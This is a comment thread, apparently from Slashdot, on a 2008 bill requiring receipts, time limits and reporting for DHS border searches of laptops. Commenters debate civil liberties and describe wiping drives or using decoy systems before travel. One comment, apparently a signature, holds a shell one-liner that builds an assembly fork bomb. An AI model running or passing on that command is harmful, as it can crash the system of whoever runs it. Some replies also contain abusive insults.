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Bill To Add Accountability To Border Laptop Search
I Don't Believe in Imaginary Property writes "Rep. Loretta Sanchez (D-CA) has introduced a bill that would add accountability to the DHS searches conducted upon the laptops of those crossing the border. Specifically, it would require the issue of receipts to those who had their property confiscated so that it could later be returned, would limit how long the DHS can keep laptops, would require them to keep the laptop's information secure, and would create a way to complain about abuse. Finally, the DHS would be required to keep track of how many searches were done and report the details to Congress. Rep. Sanchez also has also issued a statement about the proposed bill."
Her suggestion only applies to US citizens, though. What about the rest of us?
Move sig!
Thankfully, it will be tagged with all kinds of obscure spending bullshit so that the Dems can posture about freedom and liberty while still stealing our money. The Republicans of course will either try to tack on their own spending or stand up and blather about security while pointing out how noble they are for voting it down because of all the Democrat spending bills attached.
Either way, we can be pretty much assured that things like this that take power away from the government will never really see the light of day and both parties will get their "cater to the base" points in for bringing it up and bickering about it.
The only change I can believe in is what I find in my couch cushions.
sucks to be them.
you think that businessmen, travelers will still maintain u.s. as a destination of choice, if this shit of a practice stays the same ? hell, or even just stays though changed ?
there are heaploads of countries in the world to travel to and do business with.
Read radical news here
Can one of the border plods spot a nice laptop and basically just take it? (refering to no receipt for confiscated goods) Claiming that your brand new Alienware laptop is missing would not be hard if there is no proof of confiscation.. can this realy be so?
What a sensible and normal human response to this situation--Rep Sanchez is acting like a human being, ensuring that our rights are protected. This must mean that Sanchez is toast and will be voted out of office shortly. It always happens. Somebody in power sees the light and attempts to do the right thing. For their sins they are booted out of Washington. Just you watch... Her successor will favor total immunity for Customs.
Are you telling me that currently, the DHS doesn't have to do any of these simple things that should have been required of them in the first place? This is just a pathetic showing of how out of touch Americans are with their privacy rights and how stupid we are for keeping the regime responsible for this in as long as they have been.
Man, I got into the wrong field, I should have become a border agent so I could my hands on free laptops every day.
I must be reading that wrong because it sounds like Congress doing something that makes sense. It's unfortunate that it takes legislation to get DHS to pull their collective head out of their butt. This should never have been a problem that needed solving.
That's our life, the big wheel of shit. - The Fat Man, Blue Tango Salvage
That people will be more secure when they search laptops for.....ehm...terrorists?
My -1 Troll is actually a +1 funny. And my -1 flame is actually a +1 insightfull.
Cause there's no legitimate reason to do so.
What happened to reasonable search and seizure again? And don't gimmie the bullshit about this being the border, and thus completely outside the scope of normal legal protections. It's one thing to look for smuggled goods or potentially disease carrying goods, etc. But nothing you can carry on a laptop can't just be transmitted past customs over the internet. There's no actual reason to search peoples electronics at the border.
Finally , someone that sees something wrong with present day situation for abuse of power at border crossings.
God bless Bill. He fights for our freedom.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
This is not suddenoutbreakofcommonsense. The original bill should never have passed in the first place, and common sense would be to remove it again.
:)
While this bill is a step in the right direction it also indirectly legitimates the original bill by not outright removing it. They have no business to search my laptop should I come to the US, not in any way, and not in a limited way either. Period.
From the statement:
"Currently federal border agents may conduct border searches and seize travelers' personal laptops and other electronic storage devices without evidence or suspicion of wrongdoing."
It does not appear that this bill will change the reason you are targeted for a search. Since I'm an advocate of strong encryption I use TrueCrypt a lot. I can imagine that I could be flagged just because I have TrueCrypt installed, even if they cannot find an encrypted file system (hint - they won't)
any relation to Dirty Sanchez?
Do you even lift?
These aren't the 'roids you're looking for.
I understand why they have to do searches pre-flight. You certainly don't want people sneaking dangerous materials, weapons, etc. on a plane flying at high speed miles above the ground.
And I can understand why they would want to check the hardware of laptops to ensure that they're really laptops and not disguised bombs or weapons of some sort.
But what I cannot fricken understand is why they check data on laptops. Is someone really going to drop a plane out of the air because a laptop has porn on it?! Is someone really going to high-jack a plane because he has a hard drive full of copyright infringing MP3s?!
Searching data on a laptop has absolutely no relationship to the reason for pre-flight searches. It will not protect anyone and is done solely as a fishing expedition get around the US Constitution. You'd think conservatives would want to protect our Constitution. But you'd be completely wrong.
If someone says he and his monkey have nothing to hide, they almost certainly do.
Meanwhile, terrorists will just encrypt their data on thumbdrives and shove 'em up their ass.
"Was it a millionaire who said 'Imagine No Posessions?'" -- Elvis Costello
It is nice to see Bill doing his job. Most legislation gets passed because of Neil and Bob.
Trust me - I don't want to visit the US. But working for a multi-national company, I may have to for business. The war on tourism (that has accompanied the war on terrorism) makes it a very unpleasant and scary experience.
Searching laptops at all is bullshit, but at least this will quell some of the horror stories (if it passes)
..but I still can't get my head round why they're bothering to search peoples laptops in the first place.. what exactly do they hope to find? Surely anyone determined to get information into the US could think of a million ways of avoiding getting snagged by these border checks.. Off the top of my head: Upload it and download once across the border Email it to themselves Put it on a CD and send it in the post Have it printed on microfilm and stored in a hollow tooth Tattoo it on a Rottweiler, let the hair grow back and send it through quarantine etc. etc. Is this whole law just there to try and catch people who haven't heard that the law exists? or computer illiterate pensioners fiddling their taxes? Just sounds like a big waste of money and time.
Yep, it doesn't even mention the word "citizens". The bill itself is quite short and makes a lot of sense.
Take a look: HR 6869: Border Search Accountability Act of 2008
It's better to vote for what you want and not get it than to vote for what you don't want and get it.
- E. Debs
You'd think conservatives would want to protect our Constitution. But you'd be completely wrong.
Anyone, Republican or otherwise, who doesn't want to protect our Constitution isn't a conservative. Conservatives and Republicans, although often the same people in the past, aren't synonymous.
I found a link on Thomas for the actual bill: Border Security Search Accountability Act of 2008 (Introduced in House). Haven't had a chance to read it yet, but hopefully it can clear up questions as to whether it applies only to U.S. Citizens, or to *anyone* who is crossing the border.
BTW: This is the PROPOSED text of the bill. It's by no means a law, yet, and is certainly subject to amendment before/if it ever it gets voted on.
As a non-USian, I might be clueless, but wouldn't it be easier for congress to simply stop said department (an extension of the US government) snooping people's data? It's not as if child pron (as an example) will make a plane fall out of the sky or crash into a building. And if they have good reason to believe one carries such data, aren't the normal, legal routes (warrants etc.) sufficient?
Seems this politico does not want the state to give up it's unlawfully usurped power over the population - just make it seem more palatable without needing any real action - DHS is a branch of government after all, and who else will the complaints go to than the government?
Free, as in your money being freed from the confines of your account.
Now all they need to do is curb fingerprinting of holiday-makers, pre-boarding name checking against inaccurate and ineffective no-fly blacklists, and the general criminal treatment of anybody without a US passport, currently with little more rights than cattle outside the border, who wants to spend THEIR money on YOUR culture.
I use the term "culture" loosely. (If that gets me a troll mod, so be it.)
Finally had enough. Come see us over at https://soylentnews.org/
Only applies to US Citizens eh?
You know something is wrong when it takes a Westerner longer to get through the US border then it does to get around Israel...
Why is this tagged suddenoutbreakofcommonsense? A sudden outbreak of common sense would be if the DHS simply stopped searching peoples laptops. It's not like the border is in any way impermeable to unauthorized and unsnooped data anyway. In a way this is just like DRM. It doesn't affect those who know how to get around it, and the rest aren't worth bothering about.
I just prepared a laptop for a suit's little trip to the US.
1) did 7-times write with random characters on entire drive
2) removed partitions
3) formatted with ubuntu (wasn't sure of the legality of the windows xp pro license since the machine had come with Vista)
4) put tarball containing vpn client software on password-protected site for download, put data on vpn server.
this machine is now designated as the "gitmo" machine, it is to be wiped and used for each us trip.
personally I think getting a receipt for your stolen property only increases the indignity of the entire situation.
"That is your receipt for your husband, thank you, and this is my receipt for your receipt."
This bill is NOT a sudden outbreak of common sense. A sudden outbreak of common sense would be to abandon this idiotic practice for the security theatre it is.
And people wonder why I left and don't like returning to the USA. California uber alles.
RS
Shoes for Industry. Shoes for the Dead.
I just find it absolutely absurd that things have gone so far as to even require a law like this.
"Congratulations, Boots. Your robot has become self-aware. You're a daddy now." -- Dr. Rho Bowman
This will only be a suddenoutbreakofcommonsense if the bill actually gets passed and enacted into law. I'm not holding my breath.
Murphey's fighting Occam, and we're in the stands.
This is all fine and good but in the bill it says this in section 2 sub section b paragraph 3:
"A determination of the number of days that an electronic device subjected to a border security search or the information collected from such device may be retained, unless probable cause exists, that prohibits retention exceeding the period necessary to translate, decrypt, or reasonably search such device or information and that requires such information to be destroyed if in the custody of an authorized agent after such number of days."
So it still sounds like they can keep your stuff pretty much indefinitely if you use encryption.
There's really only one way. Before your trip to the Land of the Free®, backup your data, wipe your laptop's HD clean, install a decoy OS.
When you are inside the US, connect to your VPN and download what you need.
When you're about to leave, backup through VPN, reformat your HD, reinstall decoy OS.
That's the only way.
Wait, there's another one: stop doing business with the US.
* Unreasonable searches and seizures must be done with a smile or the next one is free
* Verbal abuse from border agents must refrain from using racial/ethnic epithets
* Coupon good for a free McDonald's Happy Meal issued to every person detained without charges by DHS
(Offer valid to U.S. citizens only. Void where prohibited.)
* Michael Chertoff must pinky swear not to laugh when asked if any complaints submitted to DHS are actually, you know, linked to their accountability.
The proposal is fair, appropriate, and will go a long way towards balancing security with privacy, as well as providing accountability from DHS and recourse for those wronged. It makes perfect sense. Which is why it doesn't have a bat's chance in hell of ever passing......
"Every great cause begins as a movement, becomes a business, and eventually degenerates into a racket." -- Eric Hoffer
The article says this is in committee and probably won't see action before congress lets out for the session. So, this is just another bill destined to die in committee. I'm glad someone is willing to try and push this though. We just need more people to support this so it can move from concept in committee to law. This is the tragedy of this story, but the fact that someone is still trying is better than nothing. Like others have said, the searches are a huge waste of government resources. They might catch the random computer-ignorant kiddy porn collector, but they aren't going to magically stumble onto some great conspiracy with a random laptop check.
The terrorist might also have instruction manuals for how to operate the state-of-the-art boxcutter they smuggled on board.
Ceci n'est pas une signature.
This is massive collection of information of the type that all out of control law enforcement agencies attempt. This is primarily aimed at intimidation, now and maybe in the future. This government (administration) is hostile to any dissent.
Also, consider how you will self censor yourself if you think that the government may confiscate your laptop and keep a copy of all of your documents and emails. This self censorship does not necessarily (and probably rarely) have anything to do with illegal behavoir.
Relate this with the absurd no-fly lists.
Relate this with intimidation of people being hassled for wearing a political tee shirt.
Our culture is being conditioned against dissent. Look at how dissent is looked down upon by the mass media.
The TFA is only one the implementors of these policies. They fully buy into the reasons that they are given for doing it.
"To conclude: I got the message loud and clear and here's hoping you're having a nice, slightly fascistic police state that makes all of you feel right at home."
We're not. We're just having a ton of overreaction from idiots like you, while simultaneously enjoing more freedom than the vast majority of the world, Europe specifically.
I honestly don't care whether you come here or not. I promise, you and yours are not missed.
I've been wondering what was up with the large amount of "common sense" outbreak recently. Then I remembered... there's an election coming up (in both Canada and the US now). Prepare to see lots of promises, bills drafted, and even some intelligent decisions for the next while, but don't expect it to last too far beyond the next election(s).
How about you try thinking instead of just shrugging.
How could this possibly catch a real terrorist?
The TSA should limit themselves to making sure it's safe to fly, nothing more. There's nothing on a laptop's hard drive which could cause a 'plane to crash.
No sig today...
"To conclude: I got the message loud and clear and here's hoping you're having a nice, slightly fascistic police state that makes all of you feel right at home.
Just to be clear: I'm not pissing on Americans here."
Yes you are.
And I edited "USians" because it's stupid.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
May I ask what's the excuse they used to get away with implementing this law? Data can easily cross the border through the internet. A terrorist is likely not to have the strike plans in his laptop. Is this a case of the US government just being plain anti-business? Cause I guess if I was a tourist I would get a feeling of "I'll never visit this place again" if they seized my laptop or even if they browsed through its data as if it was a threat to national security...
Copyright infringement is "piracy" in the same way DRM is "consumer rape"
We lost our rights when they said they could search our cars without a warrant and we did not shoot the bastards.
Welcome to slavery.
Andy Out!
To those of you still wondering why they're seizing data at airports...
Ever consider that copyrighted materials are available as bootlegs overseas, esp. East Asia?
The only legit reason I can fathom is detecting child pornography. So that's 2 really loud and paranoid lobbies, the concerned parents and the 3 media industries (software, motion pictures, sound recordings).
Now the illegitimate reasons can take a while, and I haven't had my caffeine yet. But don't put "searching for political affiliation" past the Bush administration, who used that as a basis for hiring or firing U.S. attorneys and also actively searched for political enemies' information with "terrorists" as a cover in its domestic spying operations.
"We are Microsoft. You shall be assimilated. Competition is futile."
Does this mean there's not going to be an OLPC project anymore ?
Offtopic ?
Where is everyones' sense of humor lately ?
Wanna fight ? Bend over, stick your head up your ass, and fight for air.
"Read the Constitution and the Bill of Rights. Almost everything applies to persons, not citizens."
And this proves what exactly?
If you'd bothered to venture into the realm of Constitutional law beyond the oh-so-typical-for-slashdotters "I can quote the Constitution so I's a expert" level of debate, you'd come to a point where you realize the laws of one country, cannot be evenly applied to non-citizens.
I don't know why "read the Constitution and the Bill of Rights" is any kind of argument, when if you'd actually read and understood them you'd realize there are practical reasons that they often don't apply to non-citizens.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
In the common usage of "Americans", which is vernacular, the most common usage by far is "Americans = People from the USA".
Regardless of this, USisans is not in any way a word. Argue with that until you realize I'm right.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
It's about damn time, although they really should open this up to non-US citizens as well. When I travel to the US now, I never bring my laptop regardless of how much I need it in fear of being charged with DCMA-related offenses. Maybe I should just add a dead man switch on it or something to format?
DNA -- National Dyslexic Association
Who needs an excuse? It's Dubya and the Republicans we're talking about here. The same people who invade a country to find oil and tap phone lines without a warrant.
DNA -- National Dyslexic Association
The bill is like putting lipstick on a pig!
The part that scares me is the
"storing electronic, digital or analog data, and which includes any data storage facility or communications facility directly related to or operating in conjunction with such device."
Carry a phone with internet/email access, they can look at all of it. Even if it is not on your phone!
Sling box video to your phone? We need your house and we will let you know when you might get it back.
Blue tooth phone to your car? We need that too.
BTW, all these papers you have marked "Confidential", that's Analog data. We need them too.
IANAL. but I did sleep at a Holiday Inn. I will now remove my tin foil hat.
What congress are you in? In ours, Bill is a bit player and Neil and Bob are out of town.
It's George, Thomas, Abe, Andrew, Ulysses, and Benjamin (especially Benjamin, understand?) that get things done in Washington.
Lobster Quadrille (965591) decided that a citation was needed for something as obvious as the idea that an individual cannot logically recieve all the rights and protections of the US Constitution.
Well genius, tell me how the Constitution can apply to a Non-US citizen when said non-US citizen's own laws contradict the Consitution? Do you need a citation for that obvious and common occurence, or do you now understand why you saying "[citation needed]" is nothing but a cheap attempt to sound intelligent that failed?
You don't need a citation to know that two sets of contraqdictory laws cannot both apply at the same time. Well, intelligent people don't at least...
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
Aren't we the people that can make this a real hassle?
I mean - I think any search without a warrant is def. unconstitutional and I don't care if it is for my safety. The most I can do when I drive is watch out around me, but that doesn't mean some asshole isn't going to sideswipe me cause they are on the phone. But don't say I can't talk on the phone when I drive because others are incompetent. Same thing with all this terrorism prevention bullshit.
Look at DRM or any security measure enacted on a computer. This is always what I tell people: when groups of people get together they will always find a way to break the box. So why don't we make the box easy to break and then we don't have to search for the super complicated ways with which people are trying to break into the box? They will most likely choose the easiest methods which we will know cause we made the box
But back to my original point. Someone here, who is a U.S. citizen, and works for a large company, put important and time sensitive data on your laptop. Then encrypt the shit out of it.
But make it look somewhat suspicious, but not enough so it actually is suspicious (think suspicious like a sheriff in TN would think a black male in a BMW is weird).
Then travel through customs, have them snag your laptop and watch them hold onto it for a long time trying to break your encryption.
Get large corp to sue. Sometimes our litigation is worth it.
While some of my conservative peers may disagree as to the utility of the bill, it proposes wide-reaching accountability which can only help us all out.
As a personal anecdote, I travel a lot between two cities in southern New Mexico. Between them is a border patrol point through which I must regularly cross. While most of the border guards are quite friendly and accommodating, I'll occasionally run into a few who are generally in a really foul mood. I've often been asked the usual questions (where are you coming from, where you are going, etc), but from time to time, they've asked me what I'm carrying in my backpack, why I'm carrying it, and so forth. I'm all for discouraging illegal activities, but spending a few minutes answering questions adds up over the course of a month or two! Of course, I don't expect that they'd confiscate my belongings, but I would want some accountability if they did. Since I do need my laptop for working on various things between classes at university, going without it would certainly have real quantifiable repercussions.
I also imagine that most of their questions are directed toward me because I don't look like someone who fits in well in this part of the country--I look European, not Spanish, and most caucasians in this region tend to have darker features, are ranchers (easily identifiable as such), military, or are Germans assigned here with the German air force. As such, I've always figured it was a matter of time until they wind up grabbing a hold of my laptop via random search. Since I write short stories from time to time and have an assortment of partial manuscripts (on an encrypted partition, but who's to say they wouldn't force me to release the password?), I've always been mildly concerned that seizure of my laptop could result in someone who might be less ethical than most obtaining my copyrighted work and illegally distributing it. Yes, I've heard the argument that if I don't want to lose something, don't carry it on my laptop, but that's largely impractical and precisely what encrypting a partition is intended to discourage: petty theft. Thieves who had the means available to break such encryption are probably uninterested in lowly manuscripts and more interested in corporate data or information pertaining to national security. But law enforcement, on the other hand, could potentially force me to divulge such passwords! Perhaps someone who is more familiar with law pertaining to such search and seizures could offer some advice in this particular case.
Considering lost time, productivity, and somewhat valuable materials, it's a bit upsetting that average citizens in this nation have to worry about such ridiculous things. If someone working under law enforcement were to steal data of mine for his or her own benefit, you bet I'd want accountability! I'm sure that sort of accountability does already exist through established channels, but how are you to know that an unscrupulous individual didn't steal something from your computer for his own personal gains (software, mp3s, personal data)? The only downside I see to this bill is that it doesn't highlight an effective method of accountability and detection of theft, such as requiring multiple personnel to be present when examining data to ensure no such theft occurs. That alone could create an additional check and balance within the system.
He who has no
"The non-citizen's laws don't apply inside the US (admittedly, the reverse doesn't seem to be true if you're a British hacker).
I still haven't seen a single example of a US law that shouldn't apply to non-citizens within the US. You have, however, made a lot of noise and personal insults."
The border isn't inside the US. It's a quasi legal zone, which is where most of these unlawful search problems arise from. But you obviously didn't know that did you? So why do you think that irrelevant point matters? As to the person insults, if you want a fucking citation, use google. I'm not your mom, and I'm not going to hand hold you to a specific example of a very common problem in international law.
"Try being informative, that was all I asked for."
I was, and no, your post was [citation needed], not "I'd like you to be more informative" or any version of that.
You tried playing snide and got shut down. Maybe if you'd simply not been an ass and instead said "could you provide some examples" you'd have got them, but obviously, that wasn't what you were after despite your post facto protestation to the contrary.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
Young and Dylan?
yea fyi they have been able to look at anything coming into the usa since july 4th 1776. been on the books along time, they just now start doing laptops ect.
This proposed law, in the guise of restricting the practice of confiscating and/or searching travelers laptops, actually legalizes it. Think about it a moment: by saying "here are the requirements for doing this," implicitly it also says "you can legally do this."
I want it banned. My laptop contains the keys to my life: my bank account, my credit cards, all of my online shopping accounts, everything. It also contains all of my employer's trade secrets. No government staff should have access to that data without court order under any circumstances.
If I have to leave the country, either my laptop won't be coming with me, or I'll be encrypting the contents of its hard drive and shipping it home by UPS. (Or I suppose I could leave a backup at home, transmit any new files to my server from wherever I went, and wipe the hard disk before returning to the US.)
The problem with UNION government employees is that there are some stupid laws entrenched in how government deals with its unions not the existence of unions.
The unions are not the villains.
Generations of P.R. by the corporatists have herded Americans away from their own best interests while distracting them with false substitutes (its not just politics.) Pro union is as bad as being labeled a liberal in this country; if not worse.
I'm getting sick of the flawed reasoning that is so common in America. Hate the war != hate the troops. Hate the tolerance of incompetence in government != hate the unions, or hate the government (in the broader sense. These are 'scoping' type context errors; or logically they are oversimplification which is a human nature so on can see why its so easy to exploit.)
Democracy Now! - uncensored, anti-establishment news
While I'm sure someone within the next 5 years would've figured out a way to get this to be declared unconstitutional, the next McBush who becomes president would demand "something similar to replace the current 'search right/practice' with" anyway, so don't you think this is the pragmatic thing to do?
The US border guards are on par with some of the worst that I've seen on the east-west German and Polish borders when the Iron Curtain was still firmly in place.
I've crossed the US/Canadian border 3 times for driving school events. Each time, it was completely painless, except once when I (truthfully) said I was unemployed, and then mis-understood the following question: "How do you intend to pay for things on the trip?"
On following crossings, the guards, both US and Canada, were quick and businesslike, and about half of the time, pretty friendly. One asked "What is the purpose of your trip?". Me: "A driving school at Tremblant." "Oh, what do you drive at the event?" "This car." *looks* "Really? Cool!" His Canadian counterpart seemed to have remembered the other zillion guys with sporty cars driving up that afternoon, and barely gave me a glance.
Once, I lost my license right before a trip and wanted to get the EXACT story on whether my replacement temporary paper license would be sufficient. Everyone I called in Washington etc was useless, but one person gave me the number of one of the Vermont border crossings. I called, and spoke to quite possibly the most helpful and friendly federal employee in the country, who was happy to chat during his lunch break; he even apologized for munching noises as he ate his sandwich. His opinion: I was probably okay, and he personally would waive me through, especially if I had a work ID (I worked for a major hospital in my state) and maybe a utility bill, etc...but he wasn't sure a coworker would. He was happy to give me his name to reference the conversation if I decided to cross (I did not) and got any flak, and he gave me the number of the equivalent office on the Canadian side.
There, I got a rude operator who transferred me to the world's grumpiest Canadian with thick french accent, who wanted to know who the fuck gave me his telephone number, no he wouldn't tell me if my license was good enough, and NO, he most certainly would not give me his name.
Granted, it's my only border experience, but maybe you've got a giant pine tree up your ass with a nest of stinging insects...and they're picking up on that. I can see all of the people in this story who are bitching about "Amerikkka" being EXACTLY the types of people to get pulled aside for some extra attention.
Please help metamoderate.
"I assure you that the laws of the United States (including the Constitution and the Bill of Rights) do apply in any area of the airport you may happen to find yourself in after getting off a plane that has landed on US soil"
Customs is in the airport and is NOT considered US soil. How do you think they continually circumvent the 4th amendment? Look it up and get back to me when you realize I'm right and you are totally wrong.
Stop involving yourself in a concversation about subjects on which you are ignorant.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
Read the header.
Now read it again.
Hopefully by now, you understand the point.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
I don't get it, why is passing an unconstitutional law pragmatic under any circumstance?
Go ahead, read it three or four times - don't forget to use your finger to point at the letters as you spell it out aloud.
Because I love assholes who displat their stupidity like you have.
NO, you fucking AC twat, customs is NOT considered US soil. You are not, legally on US soil until you have cleared Customs and actually entered the US.
Now, fuck off and die AC, hopefully in a way that is especially painful and traumatic.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
Great, cause adding "accountability" is TOTALLY equal to the loss of rights.
Carry TWO hard drives. One with all your valuable data, the other with a stock install of Ubuntu on it - nothing else - except maybe some gross photo's downloaded from alt.sex.binaries.gerbils.ducttape - just to screw with them. Then before entering/leaving the country hide the "good" Hard Drive in your checked bag and put the Ubuntu one in the laptop. Then just swap them in and out as needed.
The Truth is a Virus!!!
"Why not?"
I've already explained in the thread why not. In short, there are many occasions where a traveler is in Limbo and cannot be easily discerned to be in one country or another.
"There's no need for Constitutional law debate here;"
You're right, my point is obvious and irrefutable, while yours has nothing to do with mine.
"And any "scholar" who says otherwise is just a fascist wanker trying to justify his own totalitarianism!"
Or maybe they understand that it's possible for two sets of contradictory laws to apply at the same time with no clear delineation between which one is more apropriate.
And maybe they don't take the very childish view that any discussion of the Constitution not applying in some cases must come from a fascist, even though the context of the discussion makes such an assertion patently moronic.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
(Sorry to post here under your Score:5, but i scrolled for half-3/4 the screen and saw NOTHING but stuff about contintents arguments, arguably OFF-TOPIC..., but, anyway...)
Congresswoman Sanchez is taking a nice, fine step forward. Like you, my FIRST though was, "What about non-US citizens/residents? WE are NO better, yet no less worthy than other citizens of this planet. This is potentially a growing case of discrimination: Bring your currency-converted-to-dollars, but you and your property are up for grabs"
However, she needs to go a step further. The agents need to endure a burden. The seizure should not be permitted until they've duplicated the data and THEN they should return unmolested hardware and software to the owner/holder/carrier of said electronics. This will prevent or deter the agents from getting wily or crafty.
If we travel with cloning devices and brand-new, compatible target hard drives, the agents will either take all that, too, or claim they cannot trust neither the source nor targets.
I think I am now starting to wonder about her genuineness, or maybe she's trying a trial balloon to see whether or not the CBP will counter offer in order to accept public-acceptable levels of accountability and responsibility.
Currently (last time i read), police, doctors (mental/medical), and business leaders/professionals are to be provided some level of scrutiny/seizure protection, but what of the rest of the internationally-flying public? If I can fly INTO a non-US country and avoid this patriarchal molestation of my personal property and dignity, then why is it that the vaunted US of A feel it to be necessary? Oh, it can't stop swinging it's dick into a hornet's nest, living on the brink of bad karma while trying to balance that against benevolence.... Scary, and sad.
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
"After a quick glance at your posting history, I see you are indeed a troll"
I accept your admission that you can't refute me, despite trying and failing repeatedly.
I find it incredibly funny that you think you can magically make things that prove you wrong disappear by accusing the person who proves you wrong of being a troll.
"You have repeatedly conducted personal attacks on people presenting arguments that are both more logical and independently verifiable,"
They're wrong. I have yet to see ONE piece of evidence showing otherwise, and logical means nothing as the entire idea of a zone in the US that isn't in the US is not logical, but legal in nature.
It must suck for you that the best response you have to being wrong is "you're a troll".
"it won't do any good, as you have thoroughly convinced me (and no doubt more than a few others) of your malicious insincerity.
Reply to This"
It's called an expectacny effect. It's what people like you have to deal with when you're so colored by your own biases that you see trolls where there are none.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
I answered your question.
You called me a troll, even though my answer is legally correct.
That pretty much says it all about your ability to engage in this conversation with any level of honesty or intelligence.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
Before passing through customs, there's no doubt whatsoever as to which country you're in - just whether you're allowed to stay in that country.
C'mon, give us one good link that says anything resembling your line of bullshit. I bet this story gets archived before you do.
BTW, your mom says hi, or she would if I decided to take my cock out of her mouth anytime soon.
SCOTUS passed down a decision based on customs being US soil.
HOLY SHIT! YOU'RE A CUMGUZZLING RETARD!
If law would be software, it would be in dire need of refactoring.
It's a very bad idea to allow searches only to have a later bill limit their scope. The default should be (and technically is) that searches are illegal, and the exception has very well defined limits.
At the very least, the original act should be _replaced_ with a more restrictive version.
"No, there's not. "Legal limbo" is a bullshit concept perpetuated by fascists."
God would you shut the fuck up with the "fascist" already, it's like you're a two year old and you learned a new word you can't stop using.
"What contradictory laws? If you are in US territory then US laws apply. All US laws. Including the Bill of Rights!"
And when you're standing in Customs and have not yet been admitted to the US, which is the example you seem to have completely failed to locate in this thread, you're not in US territory.
"And if you're not in US territory, then US government agencies (such as the DHS) have no jurisdiction!"
Except if I get stopped at the border but have not yet entered the US, they sure as fuck DO claim jurisdiction. Except, according to you, they're outside the US, so the US has no jurisdiction...
Or maybe you have no idea what the fuck you're talking about and you scream fascist constantly because thet's the height of your debate ability...
"By the way, you have yet to provide any concrete support for your argument whatsoever."
By the way, that sentence proves you're either illiterate, have not read the thread as I instructed (twice now) or you're a liar.
You choose.
Meanwhile, you have not yet provided any proof you're not a fucking retard, while your posts provide strong evidence that you are.
To quote LongNoi "QZTR was right and won't leave me alone because I called him a moron when I was wrong" FYS
Why? The border search exception.
Because I would love to have a member of Congress who proposed a bill like that. It would give me so much hope and encouragement.
Got the message, went once to the US after 9-11, no more.
Why go to the US if our lovely NAFTA buddies in Canada receive people with respect and one smile every time one goes through their airports?
I have no reason to go through the US for connecting flights anywhere, when given a choice I fly elsewhere for connecting flights (Frankfurt, Madrid, Barcelona, Paris and more recently Toronto).
The US is losing money with these draconian laws, rules and regulations.
If nothing else, perhaps some people in "homeland security" (I hope the next US President bins that idiotic name at the very least) should take a hint about this.
IANAL but write like a drunk one.
USian is a legitimate attempt to refer to US people without using derogatory epithets.
American is completely unacceptable and not surprisingly in Spanish both derogatory and non derogatory terms exist.
IANAL but write like a drunk one.
And frankly people are entitled to use terms that are not ambiguous.
USian (or USan or USean) works perfectly well to describe a citizen or related entity of that country.
IANAL but write like a drunk one.
The Mexican Constitution, as an example, applies to everybody.
The exceptions (like who can be an elected official) are clearly spelled out.
As for the US Constitution, please point out which bits dont apply to everybody. The parts that may not apply to everybody is when it refers to "the people", otherwise references are to "person", "nobody" or similar which in no way imply citizenship of any kind.
IANAL but write like a drunk one.
Has anyone been through customs or border control or airport security recently? It is a total joke. They used to ask you questions and pat you down and take all the stuff out of your bags. Now they just ask you to go through a thing which puffs air at you to see if you are carrying a bomb in your pocket and then if you get the extra special service, you sit down while they bomb-wand through your bag. Nothing else.
Has anyone on Slashdot actually had their laptop even opened recently?
It is scary that these laws are being made, but moreover it is scary that these laws are being made tne not enforce except in circumstances where there is no better justification for certain types of search and seizure (ie - racial profiling).
If you don't know what you're doing, you can't make mistakes.
"So why do you expect that this proposed legislation should be any different?"
Specifically?
"We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness. That to secure these rights, Governments are instituted among Men,..."
We Americans don't have rights because the government granted them to us. We have these rights because they are a natural part of us, like the color of our eyes.
These are the Natural Rights of Man, and if you don't get that, then go back and reread Jefferson and his cohorts. All men are free because they are born that way. You, me, and that poor Chinese bastard whose kidneys are being sold on the black market. Any one who can look to the sky and say "I will be free," is an American.
If the US government, my government, shouldn't do it to a citizen, then they shouldn't do it to anyone.
We're supposed to be the City on the Hill, a shining beacon of Liberty to the world. We're supposed to fight clean even when the other guy fights dirty, not because he doesn't deserve the head-butt, but because we don't sink to that level.
We don't squelch speech, not because some paper says we shouldn't but because we believe people should be free to speak their minds. We don't like to search people, not because some paper says we can't, but because subjecting someone to that indignity degrades them and degrades us.
The TSA is routinely stealing from luggage. Everybody knows. It's well-documented. Kip Hawley has basically said there's nothing to be done about it. This offends me not because some law somewhere says it's wrong, but because it means my beloved flag is being represented by THIEVES.
My Attorney General is famous for writing an opinion that says Torture is OK, and that specifically water-boarding is OK. We tried and executed Japanese officers for water-boarding our pilots during WWII, but somehow now we're going to use the tools of monsters because it's convenient?
We've lost our honor, and I want it back. I want to be able to hold my head high again when I go abroad. I want to be able to say, "Yeah, as a matter of fact, I DO come from the greatest country on Earth," again.
But right now, we're wrong. We're not righteous. And it is long past time to come to Jesus.
I think this is pretty much a response to ACTA , which would treat every person including canadians as though they were digital pirates, allowing security and enforcement agencies to search every persons digital device for illegal content... How they will be able to know whether something is illegal or not is beyond me. "Im sorry that camera has pirated pictures on you will have to hand it over...Yoink!" I wrote Senator Kerry this morning about my disagreement with this ACTA policy, I suggest you do the same if you want any hope at quelling this preposterous issue. Let yourself be heard less you want to be ignored.
My daily pot smoking precludes me from entering the Fascist States of America. God knows what they'd try to plant on my laptop.
If English is your first language you've got your own "slightly fascist police state" to worry about.
You do know that there are other English-speaking countries in the world besides the USA and Great Britain, right?
Like: Antigua, Australia, The Bahamas, Barbados, Belize, Bermuda, Botswana, Brunei. And we're not up to the 'c's yet.
Because Georgia was harassing there citizens. And Georgia has been warned (that of course was not reported in western media).
